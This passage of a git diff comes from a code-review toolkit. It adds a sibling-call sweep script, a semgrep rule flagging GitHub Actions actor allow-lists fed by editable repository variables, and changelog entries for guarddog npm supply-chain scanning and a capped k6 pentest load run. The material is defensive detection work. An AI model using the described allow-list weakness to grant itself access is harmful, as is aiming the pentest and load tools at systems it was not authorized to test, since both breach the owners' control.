a larger file is generated or minified +FAM = {e: f for f, es in { # file extension -> language family: a name only matches within one family + "js": ".js .jsx .mjs .cjs .ts .tsx .mts .cts .vue .svelte", "py": ".py .pyi", "go": ".go", "rb": ".rb", "jvm": ".java .kt .kts .scala", + "c": ".c .h .cc .cpp .cxx .hpp .hh", "cs": ".cs", "rs": ".rs", "php": ".php", "swift": ".swift"}.items() for e in es.split()} +SKIP = re.compile( # vendored and build paths, test and fixture dirs, test file names + r"(^|/)(node_modules|vendor|dist|build|\.git|\.venv|venv|target|__pycache__|third_party|Pods|bower_components|\.claude/worktrees)/|\.min\.js$" + r"|(^|/)(tests?|__tests__|__mocks__|__fixtures__|specs?|e2e|testdata|fixtures?|mocks?|cypress)/" + r"|(^|/)(test_[^/]*|conftest\.py)$|(^|[/._-])(tests?|specs?|e2e|mocks?)\.[^/.]+$|(?-i:[a-z0-9](?:Test|Tests|Spec)\.(?:java|kt|cs|scala|swift))$", re.IGNORECASE) +KW = frozenset("""if for while switch catch return function def class with elif else except await not and or in is new typeof sizeof delete throw +assert yield match case print super this self cls async lambda defer range require import export""".split()) +CALL = re.compile(r"(?()\n]*>[ \t]*)?\(") +TOK = re.compile(r"""'(?:\\.|[^'\\\n])*'|"(?:\\.|[^"\\\n])*"|`(?:\\.|[^`\\])*`|[(){}\[\]]""") # a string literal, or one bracket +NEST = {"(": re.compile(r"[\w$)\]>]\s*$"), "{": re.compile(r"(?:=>|\))\s*$")} # a call's parenthesis; a function body's brace +DEFKW = re.compile(r"(?,\s*&]*$") +TYPEPFX = re.compile(r"[\s\w$<>\[\],.*&:@]*$") # only modifiers and a return type before the name: a method definition, not a call in an expression +KWX = re.compile(r"\b(?:if|for|while|switch|match|else|elif|catch|case|return|await|yield|new|throw|do)\b") +BRACE = re.compile(r"\s*(?::[^;{}=]*|->[^;{}=]*|throws\s[\w.,\s]+)?\{") # what follows a method definition's parameter list +COMMENT = re.compile(r"\s*(?://|#|\*|/\*|--)") +HUNK = re.compile(r"@@ -(\d+)(?:,(\d+))? \+(\d+)(?:,(\d+))? @@") + + +def fam(path): + return FAM.get(os.path.splitext(path)[1].lower()) + + +def git(repo, *args, ok=(0,)): + """stdout of `git -C repo ARGS` as text, or None when the exit code is not in `ok`.""" + r = subprocess.run(["git", "-C", repo, "-c", "core.quotePath=false", *args], capture_output=True, check=False) + return r.stdout.decode("utf-8", "replace") if r.returncode in ok else None + + +def blob(repo, rev, path): + """File text at a commit (never the working tree), or None when absent or over MAX_BLOB.""" + r = subprocess.run(["git", "-C", repo, "cat-file", "blob", f"{rev}:{path}"], capture_output=True, check=False) + return r.stdout.decode("utf-8", "replace") if r.returncode == 0 and len(r.stdout) <= MAX_BLOB else None + + +def close(t, i): + """Index of the bracket that closes the one opened just before t[i], or -1 when there is none within SPAN characters.""" + d = 1 + for m in TOK.finditer(t, i, i + SPAN): + g = m.group() + if len(g) == 1: + d += 1 if g in "([{" else -1 + if d == 0: + return m.start() + return -1 + + +def own(a): + """`a` with the inside of every nested call's parentheses and of every function body blanked: an edit inside a callback or a + nested call is not an edit of this call's own arguments.""" + out, i = [], 0 + while m := TOK.search(a, i): + if m.group() in NEST and NEST[m.group()].search(a[max(0, m.start() - 40):m.start()]): + j = close(a, m.end()) + if j >= 0: + out += [a[i:m.end()], a[j]] + i = j + 1 + continue + out.append(a[i:m.end()]) + i = m.end() + return "".join(out) + a[i:] + + +def norm(s): + """Whitespace, quote style and a trailing comma do not make an argument list different.""" + s = re.sub(r"\s+", " ", s).replace("'", '"').strip() + return s[:-1].rstrip() if s.endswith(",") else s + + +def calls(text): + """[(name, own_args, first_line, last_line, is_definition)] for each call-shaped `name(...)` in text. Pure; no I/O.""" + nl = [m.start() for m in re.finditer("\n", text)] + out = [] + for m in CALL.finditer(text): + n, b = m.group(1), m.start(1) + j = close(text, m.end()) if len(n) >= 3 and n not in KW else -1 + ls = text.rfind("\n", 0, b) + 1 # start of the call's line + pre = text[max(ls, b - 300):b] # what precedes the name on its line; 300 characters decide a definition (a one-line bundle is not quadratic) + if j < 0 or COMMENT.match(text, ls): + continue + d = DEFKW.search(pre) or (TYPEPFX.match(pre) and not KWX.search(pre) and BRACE.match(text, j + 1)) + out.append((n, norm(own(text[m.end():j])), bisect.bisect_left(nl, b) + 1, bisect.bisect_left(nl, j) + 1, bool(d))) + return out + + +def hunks(diff): + """{(old_path, new_path): (old_intervals, new_intervals)} for each file with hunks in a `git diff -U0`; a path is None on the side + that does not exist (added, deleted). An interval is (first, last) changed line, or (n + .5, n + .5) for the point between lines n + and n + 1 where a pure insertion or deletion sits.""" + out, hdr, op, cur = {}, False, "", None + for ln in diff.split("\n"): + if ln.startswith("diff --git "): + hdr, cur = True, None + elif hdr and ln.startswith("--- "): # headers count only before the first "@@": a removed "-- x" line also starts with "--- " + op = ln[4:].split("\t")[0] + elif hdr and ln.startswith("+++ "): # a quoted (odd) path starts with a quote, not "a/": skipped + np_ = ln[4:].split("\t")[0] + pa = tuple(None if x == "/dev/null" else x[2:] if x[:2] in ("a/", "b/") else "" for x in (op, np_)) + cur = out.setdefault(pa, ([], [])) if "" not in pa else None + elif ln.startswith("@@"): + hdr = False + m = HUNK.match(ln) + for iv, (s, n) in zip(cur or (), ((m[1], m[2]), (m[3], m[4])) if m else ()): + s, n = int(s), 1 if n is None else int(n) + iv.append((s + .5, s + .5) if n == 0 else (s, s + n - 1)) + return out + + +def hit(c, ivs): + """True when the call (tuple from calls()) overlaps a changed interval.""" + return any(c[2] <= hi and c[3] >= lo for lo, hi in ivs) + + +def short(s, k=48): + return s if len(s) <= k else s[:k - 3] + "..." + + +def sweep(repo, base, head): + """([(file, line, rule, message)], summary line) for the diff base...head of the repository at `repo`. Raises SystemExit(2) on an + unresolvable ref or no merge base.""" + rv = lambda r: (git(repo, "rev-parse", "--verify", "-q", r + "^{commit}") or "").strip() + bs, hd = rv(base), rv(head) + mb = (git(repo, "merge-base", bs, hd, ok=(0,)) or "").strip() if bs and hd else "" + if not mb: + sys.exit(f"sibling_sweep: unresolvable ref or no merge base: {base} {head}") + diff = git(repo, "diff", "-U0", "-M", "--no-color", "--no-ext-diff", "--no-textconv", "--diff-filter=AMR", "--src-prefix=a/", "--dst-prefix=b/", mb, hd) + if diff is None: + sys.exit("sibling_sweep: git diff failed") + newiv, chg, seen, head = {}, {}, 0, {} # head: path -> calls() at the head commit, shared by both passes + for (op, np_), (oiv, niv) in hunks(diff).items(): + if np_: + newiv[np_] = niv # an added file is all changed lines: its calls are not "unchanged" + if not (op and np_) or fam(np_) is None or SKIP.search(np_) or SKIP.search(op): + continue + seen += 1 + ot, nt = (blob(repo, mb, op), blob(repo, hd, np_)) if seen <= MAX_FILES else (None, None) + if ot is None or nt is None: + continue + nc = head[np_] = calls(nt) + tn = [c for c in nc if not c[4] and hit(c, niv)] + co = collections.Counter((c[0], c[1]) for c in calls(ot) if not c[4] and hit(c, oiv)) + cn = collections.Counter((c[0], c[1]) for c in tn) + rem, add = co - cn, cn - co # argument texts only the old side has, only the new side has + for n in {k[0] for k in rem} & {k[0] for k in add}: # a name that lost one argument text and gained another + o, w = {k[1] for k in rem if k[0] == n}, {k[1] for k in add if k[0] == n} + c = chg.setdefault(n, {"old": set(), "new": set(), "fam": set(), "at": (np_, next(c[2] for c in tn if c[0] == n and (n, c[1]) in add)), "ex": (min(o), min(w))}) + c["old"] |= o + c["new"] |= w + c["fam"].add(fam(np_)) + names = sorted(chg) + notes = [f"read {MAX_FILES} of {seen} changed source files"] * (seen > MAX_FILES) + [f"swept {MAX_FNS} of {len(names)} changed names"] * (len(names) > MAX_FNS) + names, big, leads = names[:MAX_FNS], [], [] + if names: + pat = r"(^|[^[:alnum:]_$])(" + "|".join(n.replace("$", r"\$") for n in names) + r")[[:space:]]*[(<]" + exts = sorted(e for e, f in FAM.items() if f in set().union(*(chg[n]["fam"] for n in names))) + found = git(repo, "grep", "-nIz", "--no-color", "-E", "-e", pat, hd, "--", *("*" + e for e in exts), ok=(0, 1)) or "" + line = re.compile(r"(? 2 * MAX_SITES] # cheap line count first, so a very common name never costs a blob read + names = [n for n in names if n not in big] + sites = collections.defaultdict(list) + for path in sorted(set().union(*(cand[n] for n in names))): + if path not in head: + t = blob(repo, hd, path) + head[path] = calls(t) if t else [] + for n, a, s, e, d in head[path]: + if n in names and not d and fam(path) in chg[n]["fam"]: + sites[n].append((path, s, e, a)) + for n in names: + if len(sites[n]) > MAX_SITES: + big.append(n) + continue + for path, s, e, a in sites[n]: + if not hit((n, a, s, e), newiv.get(path, ())) and a not in chg[n]["new"]: + sim = max(difflib.SequenceMatcher(None, a[:200], o[:200]).ratio() for o in chg[n]["old"]) # 1.0 = the old form itself + leads.append((-sim, n, path, s, a)) + leads.sort() # nearest to an old form first + per, kept = collections.Counter(), [] + for lead in leads: + per[lead[1]] += 1 + if per[lead[1]] <= MAX_PER_NAME: + kept.append(lead) + rows = [] + for _, n, path, s, a in kept[:MAX_LEADS]: + c = chg[n] + rows.append((path, s, "unchanged-sibling-call", f"lead: {n}({short(a)}) is unchanged, but this diff changed the arguments of {n} at " + f"{c['at'][0]}:{c['at'][1]} ({short(c['ex'][0])} -> {short(c['ex'][1])})" + ("; same arguments as the old form" if a in c["old"] else ""))) + if len(leads) > len(rows): + notes.append(f"{len(leads) - len(rows)} more sibling lead(s) not listed (cap {MAX_PER_NAME} per function, {MAX_LEADS} in all)") + over = (f"not swept, over {MAX_SITES} call sites: {', '.join(sorted(big)[:5])}" + (f" (+{len(big) - 5} more)" if len(big) > 5 else "")) if big else "" + if over: # a row, not only the stderr summary: review_checks.sh keeps rows and drops that line + notes.append(over) + if notes: + rows.append((".", 0, "not-checked", "sibling sweep partial: " + "; ".join(notes))) + summary = f"sibling_sweep: {len(chg)} name(s) with changed call arguments; {len(leads)} lead(s), not findings: open each site" + (f"; {over}" if over else "") + return rows, summary + + +def main(argv=None): + ap = argparse.ArgumentParser(description=__doc__.split("\n")[0]) + ap.add_argument("--repo", default=".", help="git repository (default .)") + ap.add_argument("--base", required=True, help="base ref; the diff is taken from its merge base with --head") + ap.add_argument("--head", default="HEAD", help="head ref (default HEAD)") + a = ap.parse_args(argv) + if a.base.startswith("-") or a.head.startswith("-"): + sys.exit("sibling_sweep: a ref must not start with '-'") + rows, summary = sweep(a.repo, a.base, a.head) + sys.stdout.write("".join("\t".join(re.sub(r"[\t\r\n]", " ", str(x)) for x in r) + "\n" for r in rows)) + print(summary, file=sys.stderr) + + +if __name__ == "__main__": + try: + main() + except SystemExit as e: # sys.exit("msg") exits 1 by default; every failure here is "bad input": 2 + if isinstance(e.code, str): + print(e.code, file=sys.stderr) + sys.exit(2) + raise diff --git a/.claude/skills/deep-code-review/templates/semgrep-taint/gha.yml b/.claude/skills/deep-code-review/templates/semgrep-taint/gha.yml new file mode 100644 index 000000000..f37446224 --- /dev/null +++ b/.claude/skills/deep-code-review/templates/semgrep-taint/gha.yml @@ -0,0 +1,16 @@ +# Bundled GitHub Actions rule (text regexes). Scans .github/workflows/*.yml|yaml and action.yml|yaml only. The language is regex, not yaml, so a file that fails YAML parsing is still scanned. +# actor-allowlist-from-vars (WARNING, a heuristic lead): an actor check (github.actor, github.triggering_actor, GITHUB_ACTOR) fed by a configuration variable (vars.NAME). +# Three regexes: the variable and the actor are the two operands of one comparison or contains(); or a variable named like an allow-list (allow, releaser, deployer, approver, admin, maintainer, trusted) +# and an actor reference sit in one step, in either order. Comment lines are skipped. It cannot see where the variable is defined, so a job that declares the environment still flags. +# Not covered: context.actor, the ids (GITHUB_ACTOR_ID), a job- or workflow-level env that a later step compares. +rules: +- id: perun.gha.actor-allowlist-from-vars + languages: [regex] + severity: WARNING + message: '[heuristic] An actor check (github.actor, github.triggering_actor or GITHUB_ACTOR) is fed by a configuration variable (vars.NAME). Anyone with write access can create, update and delete repository variables, and a repository variable overrides an organization variable of the same name, so a writer can add themselves to the list. Keep the list where only admins can change it: an environment variable (creating one needs admin access in an organization repository) read in a step of a job that declares that environment (environment variables are only available once the job starts), or a code-owned file. Drop this lead if the variable is defined on that job''s environment.' + pattern-either: + - pattern-regex: '(?im)^(?![ \t]*#)[^\n]*?(?:contains\(\s*(?:fromJSON\(\s*)?(?/perf-compare-last.json`. A missing hyperfine fails visibly (`NOT CHECKED: hyperfine`, exit 1), and the temporary worktree is removed on exit and on signals. `heavy_gate.py` now holds it like the other heavy entrypoints (`scripts/test_heavy_gate_perf.py`); `scripts/test-perf-compare.sh` covers refusals, the verdict math, cleanup and one real hyperfine run (skipped visibly when hyperfine is absent). +- `scripts/app_pentest.sh --load [--vus N] [--secs N] URL`: a k6 smoke run (default 5 VUs for 15 s, hard caps 20 VUs and 60 s, refused rather than clamped) behind the same target rules as the scanners, alone (not with `--active` or `--openapi`). The JSON carries `load` with p50, p95 and error rate; every request failing is status `error`, and a missing k6 is `skipped` with `NOT CHECKED: k6`. `scripts/test-app-pentest-load.sh` uses a fake k6 plus real k6 runs against a local `python3 -m http.server` on 127.0.0.1 (skipped visibly when k6 is absent). All three tests are wired in `scripts/ci-tests.d/perf-tools.sh`. +- `references/tool-hub.md` Perf tools rows (hyperfine and k6, flags verified against `--help` on 2026-10-30), a Load smoke section in `references/app-pentest.md`, and one routed line in `references/performance-latency-depth.md`. +size-budget-raise: .claude/skills/deep-code-review/references/tool-hub.md 10152→14455 wave total: the guarddog row with its egress and dead-proxy notes and the pinact line, Perf tools rows for hyperfine and k6 with the perf_compare.sh verdict rules, and one row for the bundled GitHub Actions semgrep rule +size-budget-raise: .claude/skills/deep-code-review/references/app-pentest.md 6393→8135 Load smoke section: caps, statuses and what the numbers do not prove +size-budget-raise: .claude/skills/deep-code-review/references/performance-latency-depth.md 13236→13456 one routed line to perf_compare.sh and app_pentest.sh --load diff --git a/changelog.d/pipeline-hub-duplicate-precision.md b/changelog.d/pipeline-hub-duplicate-precision.md new file mode 100644 index 000000000..dd963210c --- /dev/null +++ b/changelog.d/pipeline-hub-duplicate-precision.md @@ -0,0 +1,2 @@ +### Fixed +- `pipeline_hub.py` duplicate checks no longer call two different gates a duplicate and no longer print a saving they did not measure. A duplicate is now the same normalized command (script and arguments) in two enforced CI steps. The same script run with different arguments in each step, such as one gate run with `--changed` in one step and `--all` in another, is listed as an advisory (`same suite, different arguments: check one covers the other before dropping`) with no drop advice and no saving; before, both steps were reported as the same suite and the recommendation said to drop one. The hub also stopped printing `saves about X per run (even split over its step's suites)`: the API times whole steps, never one suite, so that figure was the step's median divided by the number of suites in it. A saving is printed only for a step that runs that one command, and then as an upper bound (`saves at most about X per run (its step's median)`); for any other step the recommendation says the suite's own time is unmeasured and to time it locally. The JSON `duplicates` entries gain `identical` (false for an advisory), and `step_p50_s` is null for a step that runs several commands, so `saved_s` sums only the measured copies. Tests: `scripts/test_pipeline_hub.py`. diff --git a/changelog.d/pipeline-hub-skip-failed-run.md b/changelog.d/pipeline-hub-skip-failed-run.md new file mode 100644 index 000000000..0255727bc --- /dev/null +++ b/changelog.d/pipeline-hub-skip-failed-run.md @@ -0,0 +1,2 @@ +### Fixed +- `pipeline_hub.py` stopped collecting at the first failed call, so one run whose jobs endpoint always answers HTTP 502 left most sampled runs and every PR uncollected, and the note read `collection stopped: }.`. A failed jobs or attempts call for one run is now named once in the notes (run id, API message and HTTP status) and collection goes on with the next run and the merged-PR pages; a failed runs-list or pulls call still stops, and resuming with the same `--data` file works as before. The error text now takes the API's JSON `message` or gh's ` (HTTP nnn)` line instead of the last line of the reply. diff --git a/changelog.d/review-checks-guarddog.md b/changelog.d/review-checks-guarddog.md new file mode 100644 index 000000000..5c10f96ec --- /dev/null +++ b/changelog.d/review-checks-guarddog.md @@ -0,0 +1,9 @@ +### Added +- `review_checks.sh` now routes guarddog 3.2.0 as an offline supply-chain heuristic step. With a base, it reads every changed `package-lock.json`, finds the npm packages the lock newly adds (a name@version pair absent from the merge-base lock, so a version bump counts as new) and runs `guarddog npm scan --output-format json DIR` on each one that is installed under `node_modules` inside the repo at the locked version. The installed `package.json` must say so: a lock-only bump leaves the old code on disk, and scanning it would read as clean, so that package is counted as not installed at the locked version. Packages whose lock entry has `hasInstallScript` go first. At most 25 are scanned, within a total budget of about 300 s (`REVIEW_GUARDDOG_BUDGET`, in seconds; each scan also keeps the usual 60 s timebox), and every package left out is named in a `not-checked` row. The step runs only when `guarddog --version` says 3.x (the scan JSON was checked on 3.2.0); any other answer is one named `not-checked` row. +- Leads and gaps. Each `threat-*` rule that hits becomes one lead per package and rule (first location and hit count), tagged `[heuristic]`. `capability-*` rules fire on benign packages and stay quiet, and code or match snippets are never read. A rule that errors (guarddog lists it under `errors`) costs only that rule: the other hits stay and a `not-checked` row names the failed rule. Output with no `threat-*` rule at all is not-run. A lock that adds nothing is silent; nothing installed at the locked version, a lockfileVersion 1 lock, an unparseable lock and `--full` (no base) print one `SKIPPED` line each. It never runs `verify` and never fetches a package: guarddog treats a non-directory argument as a registry name, so only existing in-repo directories are passed. +- Control characters never drop a row. A `\r` in a package name, lock key or hit location used to split the row, and the closing summary dropped the pieces silently. Those characters now show as `?`, and a lock entry that cannot be scanned safely (no version, or control characters in its name, version or key) is a named `not-checked` row, never skipped quietly. +- Install hooks. guarddog's install-hook rules (`threat-npm-preinstall-script`, `threat-process-hooks`) match `*/package.json`, a nested path, so they never flag a package's own root `package.json`, where install hooks live (checked on 3.2.0 with fictional fixtures). A newly added lock entry with `hasInstallScript` is therefore a lead of its own (tool `package-lock`, rule `has-install-script`, tagged `[heuristic]`), emitted whether or not guarddog is installed. +- guarddog has no offline flag, and at startup it refreshes its top-package lists from github.com, hugovk.github.io and packages.ecosyste.ms (seen under a dead proxy). The supported opt-out is the environment variable `GUARDDOG_TOP_PACKAGES_CACHE_LOCATION` pointing at a directory of fresh stub lists, which a local scan never reads. The step sets it. When guarddog's own kernel sandbox cannot start (a nested sandbox: its stderr says `Sandbox initialization failed`, matched case-insensitively), the step retries once with `--no-sandbox` and keeps a dead proxy (`HTTP_PROXY` and friends pointing at 127.0.0.1:9) on every later scan, because that sandbox is what otherwise blocks guarddog's network. +- New test `scripts/test-review-checks-guarddog.sh` (68 checks with guarddog installed; 60 checks plus one SKIP line where it is not, as in CI; registered in `scripts/ci-tests.d/review-checks-guarddog.sh`). It runs git with `GIT_CONFIG_NOSYSTEM=1 GIT_CONFIG_GLOBAL=/dev/null` and clears the proxy variables. A shim covers found, clean, crash, bad JSON, no threat rule, rule errors, a wrong or failing `--version`, the nested sandbox with its real capitalised message, `--full`, a missing tool, the cap, the time budget and its order, a removal-only lock, nothing installed, a stale install, no lock at base, a v1 lock, a moved base tip, control characters and the `hasInstallScript` leads. The real-binary section is host-only: CI has no guarddog, so it prints one SKIP line there. It uses fictional packages (placeholder names, `example.invalid` hosts) and includes a control proving the no-egress check can fail: an empty-dir scan with an empty cache dir under a dead proxy must print a download error. Against the script from before the guarddog step it fails 47 of 68. +- `tool-hub.md`: a CLI row for guarddog, the egress and dead-proxy lines, and one line saying pinact (`pinact run`) is the fixer for unpinned-action findings; it needs the GitHub API, so never in offline runs. +- Measured on the installed `node_modules` of a real app (2026-10-30, guarddog 3.2.0, `--no-sandbox` because the host sandbox nests; taken before the 3.x version probe, about 0.3 s, was added): 25 newly-added-style packages (evenly spaced by name from the 382 top-level packages without nested dependencies, 6.4 MB) took 15.7 s for the whole `review_checks.sh` run (0.3 s without the step) and produced 0 leads. The largest package alone (next 16.4.3, 192 MB of compiled bundles) took 20.1 s and produced 10 leads, all presumed false positives (heuristic matches in bundled framework code, not audited by hand). Expect leads on large bundled packages; small packages stayed quiet. diff --git a/changelog.d/semgrep-gha-actor-allowlist.md b/changelog.d/semgrep-gha-actor-allowlist.md new file mode 100644 index 000000000..98d5baae8 --- /dev/null +++ b/changelog.d/semgrep-gha-actor-allowlist.md @@ -0,0 +1,5 @@ +### Added +- One bundled GitHub Actions semgrep rule in `templates/semgrep-taint/gha.yml`, for a workflow that authorizes `github.actor` against an allow-list read from a repository variable: anyone with write access can edit repository variables, so any writer could add themselves. `review_checks.sh` already loads the whole template directory, so it runs in the default review with no wiring change, like the other bundled rules (and, like them, only when the repo has no semgrep rules of its own). +- `perun.gha.actor-allowlist-from-vars` (WARNING; a heuristic lead, so the message starts with `[heuristic]`), scanned only in `.github/workflows/*.yml|yaml` and `action.yml|yaml` (language `regex`, not `yaml`, so a file that fails YAML parsing is still scanned): an actor check (`github.actor`, `github.triggering_actor`, `GITHUB_ACTOR`) fed by `vars.NAME`. Three regexes, comment lines skipped: the variable and the actor are the two operands of one comparison or `contains()` (any variable name), or a variable named like an allow-list (allow, releaser, deployer, approver, admin, maintainer, trusted) and an actor reference sit in one step, in either order. The message says who can edit what (anyone with write access can create, update and delete repository variables, and a repository variable overrides an organization variable of the same name) and names the fix: an environment variable read in a step of a job that declares that environment (creating one needs admin access in an organization repository, and environment variables are only available once the job starts, so not in a job-level `if`), or a code-owned file. Known ceilings: the rule cannot see where a variable is defined, so a job that already reads the list from its environment still flags (the message says to drop the lead); a hint-named variable and an unrelated actor reference in one step flag; `context.actor`, `GITHUB_ACTOR_ID` and a job- or workflow-level `env` compared in a later step are not matched. +- New test `scripts/test_semgrep_gha_actor_allowlist.py` (registered in `scripts/ci-tests.d/semgrep-gha-actor-allowlist.sh`): fictional workflow and `action.yml` fixtures annotated `# ruleid:` and `# ok:` (14 expected hits: 9 in one release workflow, 1 in a `.yaml` deploy workflow, 1 in each of three composite-action copies, 1 in a workflow that is not valid YAML), with a literal list, a bot check, an unrelated variable, a hint-named variable with no actor, adjacent steps and jobs, a code-owned file and a commented-out check as the clean cases, plus a copy under `docs/` that must stay clean. The live part runs semgrep offline with one job and prints SKIP without it; CI installs none, so the offline part replays the rule's own regexes with Python's `re` over every fixture and pins the severity, the `[heuristic]` message, the name hints and the path scope. Against the previous release's `templates/semgrep-taint` the live check misses all 14 expected hits, and a copy of the rule with `languages: [yaml]` fails on the invalid-YAML workflow. +- `references/tool-hub.md` gains one table row for the rule (no reference listed the bundled semgrep rules by id, so the CLI tools table is the nearest home), and `docs/standards-index.md` logs the five GitHub Docs pages fetched 2026-10-30 that ground the message, including that the REST page says "collaborator access" for environment variables where the how-to page says `admin`. diff --git a/changelog.d/sibling-sweep.md b/changelog.d/sibling-sweep.md new file mode 100644 index 000000000..4ff84e380 --- /dev/null +++ b/changelog.d/sibling-sweep.md @@ -0,0 +1,7 @@ +### Added +- Sibling-call sweep for incomplete fixes. New `.claude/skills/deep-code-review/scripts/sibling_sweep.py --repo DIR --base REF [--head REF]` finds the functions whose call arguments a diff changes at some call sites and lists the same function's unchanged call sites in non-test code as review leads. This is the shape of a fix that covers one route and misses its sibling: the guard call is edited in the route the report named and left alone in the route next to it. It is stdlib only and read-only: it reads `git diff` and `git grep` against commits, so it needs no checkout and never touches the working tree. A row is the rule `unchanged-sibling-call`, the sibling's file and line, and a message that names the call, the changed site and the old and new arguments. A lead is a place to look, never a finding. +- What it skips and how it caps. Definitions, test paths (also `tests.py`, `test.ts`, `*.mock.ts` and `__fixtures__/`), calls already in the new form, same-named calls in another language and the call whose callback body (not its own arguments) was edited are not leads. A name with more than 25 call sites is not swept, because a common name's sites are noise; the first five such names are listed in the `not-checked` row (the hub keeps rows and drops the script's stderr summary line) and on stderr. Sites whose arguments equal an old form come first. At most 5 leads are listed per function and 30 in all; the rest are counted in one `not-checked` row. At most 40 functions and 300 changed files are read. Known ceilings are written in the script's docstring: the match is by name with no scope or type resolution, so same-named functions in different modules collide, and a changed definition signature is `impact_map.py`'s job (it lists at most 8 references per symbol by default). +- `review_checks.sh --base` now runs it as the `sibling-sweep` step, right after the committed-data step. Rows carry the usual shape and the tool `sibling-sweep`, and the step is listed under `analyzers ran`. It does not run under `--full`, which has no diff, and a missing script gives one `not-checked` row. `method-situational.md` names the step in the Phase-1 analyzer list. +- Measured, read-only, on the first version (before the test-path, keyword-receiver and colour fixes). Replayed on a real fix whose sibling route kept the old arguments, it flagged that route: 1 true miss among its 2 leads. On a sample of 30 recent fix commits across 10 private repositories it ran without error and listed 28 leads (75 before the per-function cap), and none was a missed sibling: the changes were variable renames, a wrapper's own change, same-named helpers in two files and a moved call. Expect most leads to be dismissed in a minute each; the sweep is there for the one that is not. +- New test `scripts/test-review-checks-sibling-sweep.sh` (23 checks, registered in `scripts/ci-tests.d/sibling-sweep.sh`): a fictional repo with a base and a fix commit covers the exact lead rows and their order, every exclusion above, a multi-line insertion and an empty old argument list, a commit-only sweep with the fix not checked out, the refused and unresolvable refs, the hub step (rows, `analyzers ran`, no `--full` run, the missing-script row), both caps, a call far into a long line (still a lead) next to a long comment line (still no call), the over-cap name as a `not-checked` row from the script and through the hub, test paths named by file alone and `__fixtures__/`, a receiver named like a keyword (`proc.wait()`, `impl.run()`: a call, not a definition), git run with `color.ui=always` (the same leads, not none), and the test's own pin of the host's git config and tool dir. 20 of the 23 checks fail on the previous release; the other 3 are negative guards and the pin check, which hold when the step is absent. +- size-budget-raise: .claude/skills/deep-code-review/references/method-situational.md 44231→44396 the analyzer list names the sibling-sweep step and what its rows are diff --git a/docs/INDEX.md b/docs/INDEX.md index bb3cce6f7..0fab9f8f6 100644 --- a/docs/INDEX.md +++ b/docs/INDEX.md @@ -23,7 +23,7 @@ Generated by `python3 .claude/skills/agentic-delivery/scripts/focus_kit.py docs- | `docs/scoreboard.md` | Perun scoreboard: Generated by scripts/scoreboard.py from committed results | 5143 | | `docs/security-heldout-table-1026/table.md` | Security held-out table, 2026-10-26: Generated by results.py (offline, $0, byte-identical on rerun). | 1847 | | `docs/self-improvement.md` | How Perun improves itself: Perun is improved by running Perun on Perun: its own review skill (deep-code-review), idea attack (idea-critic),… | 1268 | -| `docs/standards-index.md` | Standards index: Every standard the skill relies on, split into what was verified by direct fetch for this release and what is referenced b… | 97923 | +| `docs/standards-index.md` | Standards index: Every standard the skill relies on, split into what was verified by direct fetch for this release and what is referenced b… | 98826 | | `docs/team-install.md` | Team-wide install through a Claude Code plugin marketplace: This repository is its own marketplace (.claude-plugin/marketplace.json, name p… | 478 | | `docs/technical-overview.md` | Technical overview: you want the engineering detail that used to sit in the top-level README.md: the mechanisms table, the full "what you g… | 2288 | | `docs/token-cost-tips.md` | Token cost tips for teams: the biggest savings come from sending less context, using the cheapest model tier that clears its own gate, and… | 2127 | diff --git a/docs/standards-index.md b/docs/standards-index.md index 6fe8ede34..9ff6e3c3f 100644 --- a/docs/standards-index.md +++ b/docs/standards-index.md @@ -1885,3 +1885,13 @@ Public pages and registry JSON read to pick the spend reader the hub routes to. | PyPI — semgrep, zizmor, bandit, checkov | https://pypi.org/pypi/semgrep/json | Fetched 2026-10-29: `info.version` semgrep 1.182.1, zizmor 1.31.1 (`/pypi/zizmor/json`), bandit 1.9.4 (`/pypi/bandit/json`), checkov 3.4.0 (`/pypi/checkov/json`): the `pipx` pins in `provision_tools.sh`. Release dates were not read, only the version. | Not fetched, by name only: the Homebrew formulae `gitleaks`, `trivy`, `osv-scanner`, `actionlint`, `scorecard`, `gosec`, `grype`, `hadolint` and `pipx` exist in homebrew-core (checked against the local Homebrew formula index on 2026-10-29; formulae cannot be version-pinned). Observed on one host, no docs fetched: the trivy DB download fails when `~/.docker/config.json` names a `credsStore` helper that is not installed, and succeeds with `DOCKER_CONFIG` pointing at an empty directory; trivy keeps the DB at `db/trivy.db` under its cache dir (`~/Library/Caches/trivy` on macOS). + +## Verified by direct fetch (2026-10-30) — GitHub Actions variables and actor allow-lists (`templates/semgrep-taint/gha.yml`) + +| Source | URL | What it grounds | +|---|---|---| +| GitHub Docs — use variables (how-to) | https://docs.github.com/en/actions/how-tos/write-workflows/choose-what-workflows-do/use-variables | Fetched 2026-10-30: creating a repository variable in an organization repository needs `write` access (personal repository: collaborator); creating an environment variable in an organization repository needs `admin` access (personal repository: the owner); organization owners create organization-level variables. The page does not cover updating or deleting an existing variable. Basis for the "keep the list in an admin-only environment variable" fix in the rule message. | +| GitHub Docs — variables reference | https://docs.github.com/en/actions/reference/workflows-and-actions/variables | Fetched 2026-10-30: "If a variable with the same name exists at multiple levels, the variable at the lowest level takes precedence" (a repository variable overrides an organization variable of the same name; an environment variable overrides both); "Environment-level variables are only available on the runner after the job starts executing", so a job-level `if` cannot read one; variable names are case insensitive when referenced (the rule's regexes are case insensitive); `GITHUB_ACTOR` is "The name of the person or app that initiated the workflow" and `GITHUB_TRIGGERING_ACTOR` is "The username of the user that initiated the workflow run". The page does not say who may edit a variable. | +| GitHub Docs — repository roles for an organization | https://docs.github.com/en/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization | Fetched 2026-10-30 (twice, same rows), table "Permissions for each role": "Create, update, and delete GitHub Actions variables on GitHub.com" and the same "using the REST API" are Yes for Write, Maintain and Admin and No for Read and Triage. The rows do not separate repository from environment variables. Basis for "anyone with write access can create, update and delete repository variables" in the rule message. | +| GitHub Docs — contexts | https://docs.github.com/en/actions/reference/workflows-and-actions/contexts | Fetched 2026-10-30, first 100000 of 113682 characters read: the `vars` context "contains custom configuration variables set at the organization, repository, and environment levels"; `github.actor` is "The username of the user that triggered the initial workflow run" and `github.triggering_actor` is "The username of the user that initiated the workflow run"; `vars` is available in `jobs..if`, `jobs..environment`, `jobs..steps.if`, `jobs..steps.run`, `jobs..steps.env` and `jobs..env`, and environment-level variables become available after the runner declares the environment. The last 13682 characters were not read. | +| GitHub Docs — REST API for Actions variables | https://docs.github.com/en/rest/actions/variables | Fetched 2026-10-30: the repository and the environment create and update endpoints both say "Authenticated users must have collaborator access to a repository to create, update, or read variables." That wording names collaborator access, not `admin`, for environment variables, so it is looser than the how-to page above; the rule message cites only the how-to page's `admin` wording for creating an environment variable. No 